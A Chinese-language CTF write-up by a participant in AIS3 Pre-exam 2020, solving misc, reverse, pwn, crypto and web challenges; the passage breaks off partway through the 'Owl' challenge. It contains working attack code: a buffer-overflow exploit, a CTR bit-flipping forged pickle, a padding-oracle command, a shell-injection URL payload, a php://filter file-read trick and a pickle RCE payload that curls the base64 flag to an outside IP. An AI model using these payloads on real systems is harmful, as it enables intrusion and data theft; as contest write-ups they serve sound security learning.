[心得] MyFirstCTF & AIS3 Pre-exam 2020 WriteUp
[TOC]
# 成績
---
![profile](https://img.stoneapp.tech/t510599/2020-ais3-pre-exam_cropped.png)
要看完整的 Profile 可以看[這裡](https://img.stoneapp.tech/t510599/2020-ais3-pre-exam.png)
順便附上很長的 [Scoreboard](https://img.stoneapp.tech/t510599/2020-ais3-pre-exam-scoreboard.png)
# 前言
---
沒解開的索性不放了 XD
這是我第一次打這種超過一天的 CTF 比賽
沒想到可以擠進前 10 名
感謝 @a91089200 跟 @secminhr 在比賽前陪我練習
但是我的 PWN 還是爛透了 QQ
# 官解
---
- Misc
- https://github.com/frozenkp/CTF/tree/master/2020/AIS3_pre-exam
- Reverse
- http://blog.terrynini.tw/tw/2020-AIS3-%E5%89%8D%E6%B8%AC%E5%AE%98%E6%96%B9%E8%A7%A3/
- PWN
- https://github.com/ss8651twtw/ais3-pre-exam-2020
- Crypto
- https://maojui.me/Writeups/AIS3/2020/brontosaurus/
- https://maojui.me/Writeups/AIS3/2020/T-Rex/
- https://maojui.me/Writeups/AIS3/2020/blowfish/
- https://maojui.me/Writeups/AIS3/2020/octopus/
- https://maojui.me/Writeups/AIS3/2020/camel/
- https://maojui.me/Writeups/AIS3/2020/turtle/
- Web
- https://github.com/djosix/AIS3-2020-Pre-Exam
# AIS3 2020 Pre-exam WriteUp
---
## ~~Before Test~~
![](https://i.imgur.com/mxVV823.png)
~~flag: `AIS3{1N73rn3l_s3rv3r_3Rr0r}`~~
## Misc
### Piquero
其實就是盲文 參考 wiki 解碼
[https://en.wikipedia.org/wiki/Braille_ASCII](https://en.wikipedia.org/wiki/Braille_ASCII)
解出來是這樣 `,A,I,S#C"_,I.-FEEL.-SLEEPY.-,GOOD.-,NIGHT!!!"_`
按照規則翻譯
flag: `AIS3{I_feel_Sleepy_Good_Night!!!}`
*p.s. 不過那個大括號我到現在還找不到定義*
### Karuego
用 stegsolve 打開 > Data Extract
![karuego1](https://i.imgur.com/wOef4HP.png)
看到說 `The key is lafire` 不過還不知道甚麼意思
後來試了一下 `binwalk` 發現裡面有個 zip
用 `dd` 取出來 發現剛剛的 key 就是 zip 檔的密碼
![karuego2](https://i.imgur.com/1Q0fzc5.png)
打開 Demon.png 裡面就是 flag
![karuego3](https://i.imgur.com/x5QiPdl.jpg)
flag: `AIS3{Ar3_you_r3411y_r34dy_t0_sumnnon_4_D3mOn?}`
### Soy
用 https://merricx.github.io/qrazybox/ 手刻 qrcode 上去
對 記得白色的也要填色
![soy1](https://i.imgur.com/5MF74F8.png)
然後用 Extract Information
![soy2](https://i.imgur.com/lBOlbBJ.png)
手工修復一下 flag
flag: `AIS3{H0w_c4n_y0u_f1nd_me?!?!?!!}`
### Saburo
講白了就是時序攻擊 如果 input 越接近 flag
那麼他的秒數會跟其他秒數不太一樣
這裡用單一字元的秒數跟其他字元所有秒數的平均的差的絕對值來定義 "不一樣"
一開始 retry 設不夠多次導致秒數差距沒有出來 flag 一直亂飄
最後設成 20 次 但是跑了快一個小時 :(
```python=
from pwn import *
from string import ascii_letters, digits
import re
h = "60.250.197.227"
p = 11001
chars = ascii_letters + digits + "}_"
known = "AIS3{"
flag = False
retry = 20
count = 1
def difference(li, i):
num = li[i]
tmp = list(filter(lambda x: x != num, li))
return abs(num - (sum(tmp) // len(tmp)))
while not flag and count <= 1000:
tmp = []
for c in chars:
avg = 0
for _ in range(retry):
r = remote(h, p, level="warn")
r.recvuntil("Flag: ")
r.sendline(known + c)
line = r.recvline(keepends=False).decode("utf-8")
if "lose" in line:
match = re.findall("\\d+", line)
if match:
second = int(match[0])
avg += second
else:
flag = True
print(known + c)
break
r.sendline() # end
tmp.append(avg // retry)
dif = [difference(tmp, i) for i in range(len(tmp))]
find = chars[dif.index(max(dif))]
known += find
print(count, max(tmp), known)
count += 1
```
![Saburo1](https://i.imgur.com/fSiTwo9.png)
*p.s. 上面只有 0 的行是 debug 在用的*
flag: `AIS3{A1r1ght_U_4r3_my_3n3nnies}`
### Shichirou
tar 裡面其實可以放軟連結
所以弄一個指到真正 flag 檔的軟連結就好
不過試 `~/flag.txt` 沒成功
後來先隨便丟了 input 過去炸家目錄位置出來 再換成絕對路徑就可以了
![Shichirou1](https://i.imgur.com/tmk9TSH.png)
```bash=
ln -s /home/ctf/flag.txt guess.txt
tar cvf ouo.tar guess.txt
python g.py
```
`g.py`
```python=
from pwn import *
h = "60.250.197.227"
p = 11000
r = remote(h, p)
d = open("ouo.tar", "r").read()
r.send(str(len(d))+"\r\n")
r.send(d)
r.interactive()
```
flag: `AIS3{Bu223r!!!!_I_c4n_s33_e_v_e_r_y_th1ng!!}`
## Reverse
### TsaiBro
~~去年的題目~~
試個幾次會發現 TsaiBro 會把後面的文字轉換成 `發財\.?發財\.?`
![TsaiBro1](https://i.imgur.com/SfkC5lV.png)
把所有的字元轉換一次建個表 然後直接分組查表
```python=
#coding=utf-8
import subprocess
import re
db = dict()
for c in "abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}0123456789_":
r = subprocess.run(["./TsaiBro", c], stdout=subprocess.PIPE)
text = r.stdout.decode("utf-8").split("\n")[1]
db[text.strip()] = c
with open("TsaiBroSaid", "r") as f:
string = f.readlines()[1]
rule = "(發財\\.+發財\\.+)"
matchlist = re.findall(rule, string)
flag = ""
for cipher in matchlist:
flag += db[cipher.strip()]
print(flag)
```
flag: `AIS3{y3s_y0u_h4ve_s4w_7h1s_ch4ll3ng3_bef0r3_bu7_its_m0r3_looooooooooooooooooong_7h1s_t1m3}`
### Fallen Beat
**First Blood!**
把 `Fallen_Beat.jar` 用 `jd-gui` 打開
![FallenBeat1](https://i.imgur.com/mwYysA8.png)
找到生 flag 的地方
解壓縮之後 直接用 [jbe](https://set.ee/jbe/) 打開
![FallenBeat2](https://i.imgur.com/K9AezRo.png)
把 271 行的 `if_icmpne` 成 `if_icmpeq`
save method 之後用 7-zip 壓起來
然後 play 之後放到他打完
![FallenBeat3](https://i.imgur.com/dDMTMST.png)
雖然只有一半 但是夠我看出 flag 了
flag: `AIS3{Wow_how_m4ny_h4nds_do_you_h4ve}`
### Stand Up! Brain
`strings joke` 會發現裡頭有個長得像 brainfuck 的東西
![StandUpBrain1](https://i.imgur.com/pl3bwig.png)
先挖出來
```brainfuck
-------------------------------------------------------------------[>[-]<[-]]>[>--------------------------------------------------------[>[-]<[-]]>[>-------------------------------------------------------[>[-]<[-]]>[>------------------------------------------------------[>[-]<[-]]>[>---------------------------------------------------[>[-]<[-]]>[>---------------------------------[>[-]<[-]]>[>>----[---->+<]>++.++++++++.++++++++++.>-[----->+<]>.+[--->++<]>+++.>-[--->+<]>-.[---->+++++<]>-.[-->+<]>---.[--->++<]>---.++[->+++<]>.+[-->+<]>+.[--->++<]>---.++[->+++<]>.+++.[--->+<]>----.[-->+<]>-----.[->++<]>+.-[---->+++<]>.--------.>-[--->+<]>.-[----->+<]>-.++++++++.--[----->+++<]>.+++.[--->+<]>-.-[-->+<]>---.++[--->+++++<]>.++++++++++++++.+++[->+++++<]>.[----->+<]>++.>-[----->+<]>.---[->++<]>-.++++++.[--->+<]>+++.+++.[-]]]]]]]
```
直接跑卻發現沒有輸出
重新縮排後發現有一堆沒用的 loop
```brainfuck=
-------------------------------------------------------------------[>[-]<[-]]>[
>--------------------------------------------------------[>[-]<[-]]>[>-------------------------------------------------------[>[-]<[-]]>[
>------------------------------------------------------[>[-]<[-]]>[
>---------------------------------------------------[>[-]<[-]]>[
>---------------------------------[>[-]<[-]]>[
>>----[---->+<]>++.++++++++.++++++++++.>-[----->+<]>.+[--->++<]>+++.>-[--->+<]>-.[---->+++++<]>-.[-->+<]>---.[--->++<]>---.++[->+++<]>.+[-->+<]>+.[--->++<]>---.++[->+++<]>.+++.[--->+<]>----.[-->+<]>-----.[->++<]>+.-[---->+++<]>.--------.>-[--->+<]>.-[----->+<]>-.++++++++.--[----->+++<]>.+++.[--->+<]>-.-[-->+<]>---.++[--->+++++<]>.++++++++++++++.+++[->+++++<]>.[----->+<]>++.>-[----->+<]>.---[->++<]>-.++++++.[--->+<]>+++.+++.[-]
]
]
]
]
]
]
```
把迴圈拿掉 化簡成這樣 (只剩第六行)
```brainfuck
----[---->+<]>++.++++++++.++++++++++.>-[----->+<]>.+[--->++<]>+++.>-[--->+<]>-.[---->+++++<]>-.[-->+<]>---.[--->++<]>---.++[->+++<]>.+[-->+<]>+.[--->++<]>---.++[->+++<]>.+++.[--->+<]>----.[-->+<]>-----.[->++<]>+.-[---->+++<]>.--------.>-[--->+<]>.-[----->+<]>-.++++++++.--[----->+++<]>.+++.[--->+<]>-.-[-->+<]>---.++[--->+++++<]>.++++++++++++++.+++[->+++++<]>.[----->+<]>++.>-[----->+<]>.---[->++<]>-.++++++.[--->+<]>+++.+++.[-]
```
隨便拿去線上跑
flag: `AIS3{Th1s_1s_br4iNFUCK_bu7_m0r3_ez}`
### La vie en rose
給你一個用 pyinstaller 打包的 exe
輸入正確的譜才會給你 flag
先用 [pyinstxtractor](https://github.com/extremecoders-re/pyinstxtractor) 把 exe 解開
*(如果 pyinstxtractor 版本不夠新還要自己改 magic number)*
接下來用 [pycdc](https://github.com/zrax/pycdc) 試著還原 rose.pyc 不過到一半就會爛掉了QQ
![rose1](https://i.imgur.com/9lvvvtn.png)
最後用 pycdc 底下的 `pycdas` 解成 bytecode 看
([解出來的 bytecode](https://gist.github.com/t510599/5f97b7bdd3cb7641ddc7c29c07d83112) 太長放 gist)
並試著手刻還原成這樣
```python=
import winsound
from time import sleep
from math import floor
def listcomp(arg):
global secret, notes
# some magic I cannot understand
keytone = {
'a': 261.63
}
pt = keytone['a']
ks = ('w', 's', 'e', 'd', 'f', 't', 'g', 'y', 'h', 'u', 'j', 'k', 'o', 'l', 'p', ';', "'", '[', ']', ' ')
for c in ks:
pt *= pow(2, 0.833333)
keytone[c] = pt
print('Play some music to please me, despicable outlander....')
print("\n ________________________________________________________\n| | | | | | | | | | | | | | | | | | | | | | | | |\n| | | | | | | | | | | | | | | | | | | | | | | | |\n| |w| |e| | |t| |y| |u| | |o| |p| | |[| | | | | |\n| |_| |_| | |_| |_| |_| | |_| |_| | |_| |_| |_| |\n| | | | | | | | | | | | | | |\n| a | s | d | f | g | h | j | k | l | ; | ' | ] | | |\n|___|___|___|___|___|___|___|___|___|___|___|___|___|___|\n")
notes = input()
play = [
['-',1]
]
for note in notes:
if note == play[-1][0]:
play[-1][1] += 1
else:
play.append([note, 1])
for note in play:
if note == " ":
sleep(0.2)
if note == "-":
winsound.Beep(floor(keytone[note[0]]), 200)
notes = list(map(ord(notes)))
result = []
for i in range(len(notes) - 1):
result.append(notes[i] + notes[i+1])
for i in range(len(notes) - 1):
result.append(notes[i] - notes[i+1])
constraint = [216, 219, 222, 219, 216, 219, 222, 219, 216, 219, 222, 202, 150, 167, 219, 219, 216, 219, 222, 219, 216, 219, 222, 219, 216, 219, 222, 202, 150, 167, 219, 219, 216, 219, 222, 219, 216, 219, 222, 219, 216, 219, 222, 202, 150, 167, 219, 219, 216, 219, 222, 217, 212, 210, 208, 210, 212, 210, 208, 136, 140, 216, 219, 222, 219, 216, 219, 222, 219, 216, 219, 222, 202, 150, 167, 219, 219, 216, 219, 222, 219, 216, 219, 222, 219, 216, 219, 222, 217, 217, 219, 167, 150, 182, 199, 216, 219, 222, 219, 216, 212, 208, 208, 208, 149, 149, 210, 217, 219, 167, 150, 182, 199, 216, 219, 222, 219, 216, 211, 206,
0, -3, 0, 3, 0, -3, 0, 3, 0, -3, 0, 20, 32, -49, -3, 3, 0, -3, 0, 3, 0, -3, 0, 3, 0, -3, 0, 20, 32, -49, -3, 3, 0, -3, 0, 3, 0, -3, 0, 3, 0, -3, 0, 20, 32, -49, -3, 3, 0, -3, 0, 5, 0, 2, 0, -2, 0, 2, 0, 72, -76, 0, -3, 0, 3, 0, -3, 0, 3, 0, -3, 0, 20, 32, -49, -3, 3, 0, -3, 0, 3, 0, -3, 0, 3, 0, -3, 0, 5, -5, 3, 49, -32, 0, -17, 0, -3, 0, 3, 0, 4, 0, 0, 0, 59, -59, -2, -5, 3, 49, -32, 0, -17, 0, -3, 0, 3, 0, 5, 0]
if result == constraint:
secret = [62, 9, 11, 79, 0, 5, 4, 10, 76, 30, 0, 28, 62, 72, 76, 9, 5, 0, 3, 28, 76, 1, 22, 79, 8, 30, 10, 14, 54, 72, 102, 46, 2, 8, 79, 13, 30, 5, 1, 8, 31, 76, 2, 10, 123, 79, 3, 79, 24, 4, 10, 79, 26, 6, 9, 11, 15, 74, 17, 7, 85, 76, 30, 10, 28, 24, 102, 56, 7, 5, 24, 10, 79, 50, 72, 76, 12, 3, 0, 11, 79, 13, 2, 11, 79, 13, 0, 24, 14, 19, 28, 76, 66, 62, 58, 30, 2, 6, 1, 11, 102, 42, 29, 26, 12, 72, 6, 15, 11, 76, 89, 34, 123, 13, 76, 29, 0, 21, 13, 11, 71, 24, 9, 28, 27, 102, 46, 3, 14, 15, 7, 79, 27, 51, 94, 76, 13, 9, 13, 28, 27, 76, 8, 10, 28, 15, 9, 1, 11, 40, 27, 10, 29, 3, 1, 79, 28, 4, 13, 11, 0, 27, 31, 101, 54, 62, 87, 0, 0, 27, 76, 13, 10, 11, 31, 28, 17, 74, 8, 29, 26, 78, 31, 102, 40, 0, 0, 8, 101, 14, 2, 8, 79, 45, 15, 108, 76, 9, 76, 0, 79, 14, 76, 11, 79, 6, 76, 31, 79, 46, 74, 38, 76, 104, 123, 104, 76, 23, 27, 7, 93, 31, 55, 14, 4, 92, 74, 55, 24, 10, 8, 100, 55, 50, 7, 95, 48, 29, 3, 31, 84, 20, 51, 10, 94, 3, 0, 31, 48, 27, 13, 93, 24, 14, 53, 70]
# calculate and print flag...
```
對 因為看不懂 flag 是怎麼生出來的
所以改變方向 去找到正確的 input 讓第 50 行成立
從第 41 ~ 45 行可以看到 result 就是
1. 前後字元的 ASCII 相加
2. 前後字元的 ASCII 相減
兩個 list 的組合
寫個腳本跑過一趟直接求解未知數
```python=
def resolve(add, sub):
return ((add+sub)//2, (add-sub)//2)
with open("constraint.txt", "r", encoding="utf-8") as f:
raw = f.readlines()
const = []
for l in raw:
d = int(l.strip().split(" ")[-1])
const.append(d)
print(len(const), const)
add_l = const[:len(const)//2]
sub_l = const[len(const)//2:]
result = ""
for i in range(len(const)//2):
a, b = resolve(add_l[i], sub_l[i])
result += chr(a)
else:
a, b = resolve(add_l[i], sub_l[i])
result += chr(b)
print(result)
```
*p.s. constraint.txt 就是直接把 bytecode 裡的 constraint 那段複製貼上*
然後聽他演奏 0.2 * 121 (個音) 秒
![rose2](https://i.imgur.com/ftFDeTB.png)
flag: `AIS3{th1s_fl4g_red_lik3_ros3s_f1lls_ta1wan}`
## Pwn
### BOF
~~去年的題目~~
我什麼都不知道
我就拿了去年別人的 code 改了一下去打(X
[https://blog.roy4801.tw/2019/05/31/ais3/ais3_2019_pre_exam/#Welcome-BOF](https://blog.roy4801.tw/2019/05/31/ais3/ais3_2019_pre_exam/#Welcome-BOF)
```python=
#!/usr/bin/env python
from pwn import *
r = remote('60.250.197.227', 10000)
#r = process('./bof')
#context(arch='i386', log_level='debug')
welcome_to_ais3_2019 = 0x0000000000400687
# dunno whyyyy
payload='A' * (48)
payload += p64(welcome_to_ais3_2019)
print r.recvline()
r.sendline(payload)
r.interactive()
```
get shell 之後 到處逛逛
發現在 `/home/bof/flag`
![bof1](https://i.imgur.com/qidzBC7.png)
flag: `AIS3{OLd_5ChOOl_tr1ck_T0_m4Ke_s7aCk_A116nmeNt}`
## Crypto
### Brontosaurus
~~去年的題目~~
把裡面的 jsfuck string reverse 之後直接貼在瀏覽器 console 跑
flag: `AIS3{Br0n7Os4uru5_ch3at_3asi1Y}`
### T-Rex
你會拿到一個檔案裏面有個 table 跟一串密文
![TRex1](https://i.imgur.com/kjsKkEj.png)
由於知道 flag 格式是 `AIS3{...}`
所以得知要先讀 column 再讀 row
~~然後直接開始用 notepad++ 的全部取代手爆~~
```python=
dic = {
"!!": "V", "!@": "5", "!#": "I", "!$": "K", "!%": "E", "!&": "U",
"@!": "F", "@@": "0", "@#": "W", "@$": "G", "@%": "3", "@&": "Z",
"#!": "Y", "#@": "M", "##": "H", "#$": "B", "#%": "C", "#&": "8",
"$!": "J", "$@": "2", "$#": "S", "$$": "X", "$%": "7", "$&": "R",
"%!": "6", "%@": "9", "%#": "4", "%$": "T", "%%": "P", "%&": "D",
"&!": "1", "&@": "L", "&#": "Q", "&$": "A", "&%": "N", "&&": "O"
}
s = "&$ !# $# @% { %$ #! $& %# &% &% @@ $# %# !& $& !& !@ _ $& @% $$ _ @$ !# !! @% _ #! @@ !& _ $# && #@ !% %$ ## !# &% @$ _ $& &$ &% %& && #@ _ !@ %$ %& %! $$ &# !# !! &% @% ## $% !% !& @! #& && %& !% %$ %# %$ @% ## %@ @@ $% ## !& #% %! %@ &@ %! &@ %$ $# ## %# !$ &% @% !% !& $& &% %# %@ #$ !# && !& #! %! ## #$ @! #% !! $! $& @& %% @@ && #& @% @! @# #@ @@ @& !@ %@ !# !# $# $! !@ &$ $@ !! @! &# @$ &! &# $! @@ &@ !% #% #! &@ &$ @@ &$ &! !& #! !# ## %$ !# !# %$ &! !# @# ## @@ $! $$ %# %$ @% @& $! &! !$ $# #$ $& #@ %@ @$ !% %& %! @% #% $! !! #$ &# ## &# && $& !! !% $! @& !% &@ !& $! @# !@ !& @$ $% #& #$ %@ %% %% &! $# !# $& #@ &! !# @! !@ @@ @@ ## !@ $@ !& $# %& %% !# !! $& !$ $% !! @$ @& !& &@ #$ && @% $& $& !% &! && &@ &% @$ &% &$ &@ $$ }".split(" ")
flag = ""
for c in s:
if len(c) == 2:
flag += dic[c]
else:
flag+= c
print(flag)
```
flag: `AIS3{TYR4NN0S4URU5_R3X_GIV3_Y0U_SOMETHING_RANDOM_5TD6XQIVN3H7EUF8ODET4T3H907HUC69L6LTSH4KN3EURN49BIOUY6HBFCVJRZP0O83FWM0Z59IISJ5A2VFQG1QJ0LECYLA0A1UYIHTIIT1IWH0JX4T3ZJ1KSBRM9GED63CJVBQHQORVEJZELUJW5UG78B9PP1SIRM1IF500H52USDPIVRK7VGZULBO3RRE1OLNGNALX}`
### Octopus
題目提到 BB84 一種量子交換協議 https://zh.wikipedia.org/wiki/%E9%87%8F%E5%AD%90%E5%AF%86%E9%91%B0%E5%88%86%E7%99%BC#BB84%E5%8D%8F%E8%AE%AE
來看題目
```python=
import random
import numpy as np
from secret import FLAG, key_exchange
LENGTH = 1024
def rotate(phi):
return 1 * ( np.cos(phi) + np.sin(phi)*1j )
def get_rect_random() :
if random.randint(0,2**128) %2 == 0:
return (1+0j) # Arrow ↑
return (0+1j) # Arrow →
def get_diagonal_random() :
if random.randint(0,2**128) %2 == 0:
return complex(0.707, +0.707) # Arrow ↗
return complex(0.707, -0.707) # Arrow ↘
def rotate(q):
# For diagonal basis measure
return q * complex(0.707, -0.707)
basis = [random.choice('+x') for i in range(LENGTH)]
qubits = [get_rect_random() if b == '+' else get_diagonal_random() for b in basis ]
print("Basis : ", basis)
print("Qubits : ", qubits)
myBasis = [random.choice('+x') for i in range(LENGTH)]
print("myBasis : ", myBasis)
bit_stream = key_exchange(qubits, basis, myBasis)
print(int(bit_stream[:400],2) ^ FLAG)
```
現在要自己寫出 BB84 的 `key_exchange()` 來交換 並取前 400 bit 跟 flag xor
交換的方法很簡單 就是留下 `basis[i] == myBasis[i]` 的 `qubit[i]` 然後換成一般的 bit
![octopus](https://i.imgur.com/tToxS7Q.png)
```python=
rect0 = complex(1, 0) # Arrow ↑ 0
rect1 = complex(0, 1) # Arrow → 1
diag0 = complex(0.707, +0.707) # Arrow ↗ 0
diag1 = complex(0.707, -0.707) # Arrow ↘ 1
other = [...]
qbits = [...]
my = [...]
stream = ""
def decodeQtoB(base, qbit):
if base == "+":
if qbit == rect0:
return 0
else:
return 1
else:
if qbit == diag0:
return 0
else:
return 1
for i in range(len(other)):
if other[i] == my[i]:
bit = decodeQtoB(my[i], qbits[i])
stream += str(bit)
msg = int(stream[:400], 2)
sec = 2114605261815340712424659413225647507317872952942366497800823462312932228799031989657646284020761432666257418566252521668
flag = msg ^ sec
print(flag)
print(bytearray.fromhex("{:x}".format(flag)).decode())
```
~~話說那個題目的 Arrow ↑ 跟 Arrow → 484 寫反了~~
flag: `AIS3{EveryONe_kn0w_Quan7um_k3Y_Distr1but1on--BB84}`
### Blowfish
一開始題目給了一個 py 跟一個 `user.pickle`
```python=
import os
import pickle
import random
from base64 import b64decode, b64encode
from Crypto.Util import Counter
from Crypto.Cipher import Blowfish
from secret import FLAG
p = open('user.pickle','rb').read()
key = os.urandom(8)
iv = random.randint(0, 2**64)
ctr = Counter.new(64, initial_value=iv, little_endian=True)
cipher = Blowfish.new(key, Blowfish.MODE_CTR, counter=ctr)
TOKEN = cipher.encrypt(p)
print('''
.
A ;
| ,--,-/ \---,-/| ,
_|\,'. /| /| `/|-.
\`.' /| , `;.
,'\ A A A A _ /| `.;
,/ _ A _ / _ /| ;
/\ / \ , , A / / `/|
/_| | _ \ , , ,/ \
// | |/ `.\ ,- , , ,/ ,/ \/
/ @| |@ / /' \ \ , > /| ,--.
|\_/ \_/ / | | , ,/ \ ./' __:..
| __ __ | | | .--. , > > |-' / `
,/| / ' \ | | | \ , | /
/ |<--.__,->| | | . `. > > / (
/_,' \\ ^ / \ / / `. >-- /^\ |
\\___/ \ / / \__' \ \ \/ \ |
`. |/ , , /`\ \ )
\ ' |/ , V \ / `-\
`|/ ' V V \ \.' \_
'`-. V V \./'\
`|/-. \ / \ /,---`\
/ `._____V_____V'
' '
''')
print("Your token:", b64encode(TOKEN).decode(), end="\n\n")
username = input('username : ')
password = input('password : ')
TOKEN = input("TOKEN : ")
ctr = Counter.new(64, initial_value=iv, little_endian=True)
cipher = Blowfish.new(key, Blowfish.MODE_CTR, counter=ctr)
print()
try :
objs = pickle.loads(cipher.decrypt(b64decode(TOKEN)))
for obj in objs :
if obj['name'] == username :
if obj['name'] == username and obj['password'] == password :
print(f"Welcome {obj['name']},")
if obj['admin'] :
print(f"Here is your flag: {FLAG}")
print("Goodbye, See you again.")
else :
print("Failed to login.")
except :
print("Token not authorized")
```
而 `user.pickle` 裡面是這樣的
![blowfish1](https://i.imgur.com/8p255un.png)
伺服器一開始會先把 `user.pickle` 用 CTR Mode 加密 轉成 base64 再送給你
而 CTR 的特性如下
- 密文 = Key(IV+Counter) ⊕ 明文
- Key(IV+Counter) = 密文 ⊕ 明文
在已知明文跟密文的情況下 我們可以算出 Key(IV+Counter)
且同一個連線的 Key(IV+Counter) 都相同
因此自己生資料再加密送回去即可
```python=
import pickle
from pwn import *
knw = open("user.pickle", "rb").read()
h = "60.250.197.227"
p = 12001
r = remote(h, p)
r.recvuntil("Your token:")
enc_b64 = r.recvuntil("\n")
enc = b64d(enc_b64.decode("utf-8").strip())
cc = xor(enc, knw)
d = [{'name': 'a', 'password': 'a', 'admin': True}]
print(d)
r.sendlineafter("username : ", "a")
r.sendlineafter("password : ", "a")
rb = pickle.dumps(d)
f = b64e(xor(cc,rb))
print(f)
r.interactive()
```
*p.s. 不知道為甚麼直接用腳本送都不會過QQ 所以讓他印出來再複製貼上*
![blowfish2](https://i.imgur.com/PFaPotO.png)
flag: `AIS3{ATk_BloWf1sH-CTR_by_b1t_Flipping_^_^}`
### Turtle
題目一開始就叫你去看 `csrf.php?source`
```php=
<?php
class Csrf {
private $secret, $key, $size;
function __construct($key) {
$this->key = $key;
$this->secret = file_get_contents('/turtle.flag');
$this->size = openssl_cipher_iv_length('aes-256-cbc');
}
function generate() {
$iv = openssl_random_pseudo_bytes($this->size);
$cipher = openssl_encrypt($this->secret, 'aes-256-cbc', $this->key, OPENSSL_RAW_DATA, $iv);
$token = base64_encode($iv . $cipher);
return $token;
}
function validate($token) {
$bytes = base64_decode($token);
$iv = substr($bytes, 0, $this->size); // extract IV
$cipher = substr($bytes, $this->size); // extract cipher
$secret = openssl_decrypt($cipher, 'aes-256-cbc', $this->key, OPENSSL_RAW_DATA, $iv);
if ($secret === false)
throw new Exception('token decryption failed');
return $secret === $this->secret;
}
}
if (basename(__FILE__) == basename($_SERVER["SCRIPT_FILENAME"])) {
// called directly
if (isset($_GET['source'])) {
highlight_file(__FILE__);
}
exit;
}
```
我們知道他是使用 CBC 來加密 代表可以使用 Padding Oracle Attack
又在 `index.php` 看到
```php=15
// CSRF
if (!isset($_SESSION['csrf_key']))
$_SESSION['csrf_key'] = md5(rand() * rand());
require_once('csrf.php');
$csrf = new Csrf($_SESSION['csrf_key']);
```
所以只要 session 不換 key 也不會變
然後 token 要塞在 `csrf_token` 再 POST 過去
```php=34
// Validate CSRF token
$token = @$_POST['csrf_token'];
if (!$token || !$csrf->validate($token)) {
redirect('/', 'invalid csrf_token');
}
```
直接魔改[現成的腳本](https://github.com/mpgn/Padding-oracle-attack)
(太長了我放在 [gist](https://gist.github.com/t510599/bce7f01992e780329c02b61f1ca091fe),大致上就是改用 `requests` 送)
先找出 `iv_length`
```shell
$ php -c "echo cipher_iv_length('aes-256-cbc');"
16
```
然後執行
```shell
python exploit.py -c <base64 token> --error 'failed' --method POST --cookie "PHPSESSID=<session id>" --post 1 -l 16 --host "https://turtowl.ais3.org/?action=login" -u a -v
```
![turtle1](https://i.imgur.com/s5J9xOj.png)
flag: `AIS3{5l0w_4nd_5734dy_w1n5_7h3_r4c3.}`
## Web
### Squirrel
打開的時候觀察 Network 可以發現他有請求一個 api
`https://squirrel.ais3.org/api.php?get=%2Fetc%2Fpasswd`
先送 `api.php?get=api.php` 看原始碼
```php=
<?php
header('Content-Type: application/json');
if ($file = @$_GET['get']) {
$output = shell_exec("cat '$file'");
if ($output !== null) {
echo json_encode([
'output' => $output
]);
} else {
echo json_encode([
'error' => 'cannot get file'
]);
}
} else {
echo json_encode([
'error' => 'empty file path'
]);
}
```
造個簡單 payload `/etc/hostname' %26%26 ls / %23'` (encodeURIComponent() 過)
```
ac49901ceb5e
5qu1rr3l_15_4_k1nd_0f_b16_r47.txt
bin
boot
dev
etc
...
```
最後直接 `api.php?get=/5qu1rr3l_15_4_k1nd_0f_b16_r47.txt`
flag: `AIS3{5qu1rr3l_15_4_k1nd_0f_b16_r47}`
### Shark
用底下的 hint 連結 `/?path=hint.txt`
得知 flag 在某台區網主機上 跟可以試試看 LFI
一樣先試試看讀原始碼
```php=
<?php
if ($path = @$_GET['path']) {
if (preg_match('/^(\.|\/)/', $path)) {
// disallow /path/like/this and ../this
die('<pre>[forbidden]</pre>');
}
$content = @file_get_contents($path, FALSE, NULL, 0, 1000);
die('<pre>' . ($content ? htmlentities($content) : '[empty]') . '</pre>');
}
?>
<!DOCTYPE html>
// ...
```
用 `php://filter` 大法就能繞過限制
逛來逛去逛到了 `/etc/hosts`
payload: `php://filter/read=convert.base64-encode/resource=/etc/hosts`
```
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.22.0.3 02b23467485e
```
找到了 `172.22.0.3` 這個區網 IP address
不過他很大一段 範圍是 172.16.0.0 ~ 172.31.255.255
開始瞎猜 IP 位置
最後用 `/?path=http://172.22.0.2/flag` 找到了
flag: `AIS3{5h4rk5_d0n'7_5w1m_b4ckw4rd5}`
### Elephant
登入後畫面如下:
![elephant1](https://i.imgur.com/F4sTO7E.png)
發現 cookie 有個 `elephant_user`
長的很像 base64 就打開來看
內容大致是這樣:
```
"O:4:\"User\":2:{s:4:\"name\";s:2:\"tt\";s:11:\"\u0000User\u0000token\";s:32:\"211d87847a4cb6346f4b3a4eb299d2b3\";}"
```
看了之後沒什麼頭緒 開始瞎改 session
結果莫名其妙把 User Token 改成 Admin Token 送出去就有了 ~~我是通靈大師~~
```
"O:4:\"User\":2:{s:4:\"name\";s:2:\"tt\";s:12:\"\u0000Admin\u0000token\";s:32:\"211d87847a4cb6346f4b3a4eb299d2b3\";}"
```
flag: `AIS3{0nly_3l3ph4n75_5h0uld_0wn_1v0ry}`
### Snake
進去會直接看到程式碼
```python=
from flask import Flask, Response, request
import pickle, base64, traceback
Response.default_mimetype = 'text/plain'
app = Flask(__name__)
@app.route("/")
def index():
data = request.values.get('data')
if data is not None:
try:
data = base64.b64decode(data)
data = pickle.loads(data)
if data and not data:
return open('/flag').read()
return str(data)
except:
return traceback.format_exc()
return open(__file__).read()
```
由於 `if data and not data` 沒辦法達成
只能透過 pickle 的漏洞來打
這裡參考了 https://davidhamann.de/2020/04/05/exploiting-python-pickle/ 來進行 RCE
`bool.py`
```python=
import pickle
import base64
import os
class RCE:
def __reduce__(self):
cmd = ('curl "<ip>/?ref=$(cat /flag | base64)" &> /dev/null')
return os.system, (cmd,)
if __name__ == '__main__':
pickled = pickle.dumps(RCE())
print(base64.b64encode(pickled))
```
最後去 server 上撿
![snake1](https://i.imgur.com/cp1zdKW.png)
順帶一提 這個 payload 不能用 Windows 生
不然在 `pickle.loads` 的時候會 import 錯誤
```
Traceback (most recent call last):
File "./main.py", line 15, in index
data = pickle.loads(data)
ModuleNotFoundError: No module named 'nt'
```
flag: `AIS3{7h3_5n4k3_w1ll_4lw4y5_b173_b4ck.}`
### Owl
先用 `guest` `guest` 登入之後
看到 source (這裡放重點而已)
```php=33
else if ($action === 'login') {
// Validate CSRF token
$token = @$_POST['csrf_token'];
if (!$token || !$csrf->validate($token)) {
redirect('/', 'invalid csrf_token');
}
// Check if username and password are given
$username = @$_POST['username'];
$password = @$_POST['password'];
if (!$username || !$password) {
redirect('/', 'username and password should not be empty');
}
